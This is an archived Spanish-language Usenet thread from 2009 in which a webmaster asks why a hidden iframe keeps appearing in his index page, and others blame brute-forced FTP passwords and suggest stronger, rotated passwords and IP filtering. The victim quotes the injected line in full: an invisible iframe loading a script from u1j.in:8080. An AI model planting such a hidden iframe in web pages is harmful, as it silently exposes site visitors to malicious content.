🚀 go-pugleaf

Marious escribió:
> On 08/16/2009 01:38 AM, News VTR wrote:
>> Estimados, el ataque se realiza a través del servicio de FTP.
>>
>> El procedimiento es que ponen un algoritmo de descifrador de cuentas 
>> FTP y
>> lo dejan corriendo sobre una lista de sitios (puede que sea un robot
>> programado para esto), una vez descifrada la pass, la guarda y los tiene
>> parque inyectando el famoso HTML que inserta una linea con un frame de 
>> otro
>> lado.
>>
>> Para parar estos ataques, les recomiendo que hagan cambio de sus pass 
>> de FTP
>> cada cierto tiempo, ojalá sea generado por algun algoritmo de 
>> generacion de
>> codigos. A medida que vayan generando esta pass (una vez al mes, por
>> ejemplo), guardenla y haganse el hábito de cambiarla a cada rato (una 
>> vez al
>> mes está bien). Si la Pass que generan resulta de alta dificultad para 
>> estos
>> robots, entonces haganlo solo una vez, o hasta que les pase nuevamente.
>>
>> A mi me pasaba, hasta que deduje que este era el motivo, me hice el 
>> habito
>> de cambiar la pass del FTP y todo solucionado.
>>
>> Salu2,
>> antxb4nx23r
>>
>>
>> "News VTR"<reeddume@gmail.com>  escribió en el mensaje
>> news:h4k8ht$ujb$1@news.nivel5.cl...
>>> Una pagina index he tenido que corregirla varias veces, porque de 
>>> repente
>>> aparece "desplazada" hacia abajo.
>>> Mirando el codigo, resulta que APARECE un iframe que yo no he puesto 
>>> y que
>>> produce el desplazamiento.
>>> El codigo "intruso" es este:
>>> <iframe src="http://u1j.in:8080/ts/in.cgi?pepsi109" width=125 height=125
>>> style="visibility: hidden"></iframe>
>>>
>>> ¿como puede haberse "metido" al codigo, y ya en el Servidor?
>>>
>>> ¿Alguna experiencia al respecto?
>>> ¿Que se puede hacer?
>>>
>>> So no + y gracias
>>>
>>
>>
> 
> No creo que haga falta cambiar cada cierto tiempo aunque igual
> puede servir.
> 
> Si es un robot estos hacen ataques de fuerza bruta a las contraseñas.-
> Osea intentan cada combinación hasta acertar a la correcta.
> Si tu contraseña era de menos de 5 caracteres entonces la encontraron
> rapido... pero si haces una larga de digamos 25 caracteres, ahí
> nunca..... probablemente años.
> 
> ¿Igual no sabes si hay alguna forma de que el servidor detecte los
> ataques y filtre las ips de donde se originan?

Hay montones de formas de hacerlos. Incluso sencillos scripts.
Todo depende del OS.